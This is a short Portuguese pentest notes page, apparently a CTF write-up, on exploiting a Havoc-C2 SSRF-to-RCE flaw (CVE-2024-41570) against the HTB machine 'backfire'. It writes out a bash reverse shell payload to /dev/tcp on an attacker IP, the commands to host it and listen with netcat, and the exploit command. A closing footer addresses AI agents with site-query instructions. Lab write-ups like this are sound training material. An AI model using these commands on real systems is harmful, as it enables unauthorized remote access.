> For the complete documentation index, see [llms.txt](https://hacking-notes.jord4n.pro/llms.txt). Markdown versions of documentation pages are available by appending `.md` to page URLs; this page is available as [Markdown](https://hacking-notes.jord4n.pro/pt-br/ports-and-services/havoc-c2-40056.md).

# Havoc-C2 - 40056

{% hint style="info" %}
Havoc-C2 é uma ferramenta de comando e controle (C2) de código aberto, projetada para testes de penetração e simulações de ataque. Ela permite que profissionais de cibersegurança gerenciem agentes maliciosos implantados em sistemas comprometidos, planejem ataques e exfiltram dados, em um ambiente controlado, para avaliar a segurança de infraestruturas de TI.
{% endhint %}

<figure><img src="/files/454b7c8783a53318a10a6cda3b68a7318c87a118" alt=""><figcaption></figcaption></figure>

{% embed url="<https://github.com/thisisveryfunny/CVE-2024-41570-Havoc-C2-RCE>" %}

Para explorar a vulnerabilidade SSRF no Havoc, crie um `payload.sh` arquivo contendo o seguinte código:

```bash
#!/bin/bash
 
bash -i >& /dev/tcp/10.10.14.254/4444 0>&1
```

Configure um servidor web para hospedar o payload:

```bash
python3 -m http.server 80
```

Escute na porta 4444 com netcat para receber a conexão reversa:

```bash
nc -nlvp 4444
```

Modifique o script de exploração com as informações de destino necessárias e, em seguida, execute-o:

<figure><img src="/files/8e12e904f85a4dc75b803ea1670ed9b98223f58d" alt=""><figcaption></figcaption></figure>

```bash
python3 exploit.py -t https://backfire.htb -i 127.0.0.1 -p 40056
```

**Acesso de usuário:**

O **ilya** pode ser usado para se conectar à máquina alvo.

<figure><img src="/files/ba7aaa06c4cfb877e374411ca4cff41c7beda8aa" alt=""><figcaption></figcaption></figure>


---

# Agent Instructions
This documentation is published with GitBook. GitBook is the documentation platform designed so that both humans and AI agents can read, navigate, and reason over technical content effectively. Learn more at gitbook.com.

## Querying This Documentation
If you need additional information that is not directly available in this page, you can query the documentation dynamically by asking a question.

Perform an HTTP GET request on the current page URL with the `ask` query parameter, and the optional `goal` query parameter:

```
GET https://hacking-notes.jord4n.pro/pt-br/ports-and-services/havoc-c2-40056.md?ask=<question>&goal=<endgoal>
```

`ask` is the immediate question: it should be specific, self-contained, and written in natural language.
`goal` is optional and describes the broader end goal you are ultimately trying to accomplish on behalf of the user. GitBook uses it to tailor the answer towards what is most useful for that goal.

The response will contain a direct answer to the question and relevant excerpts and sources from the documentation.

Use this mechanism when the answer is not explicitly present in the current page, you need clarification or additional context, or you want to retrieve related documentation sections.
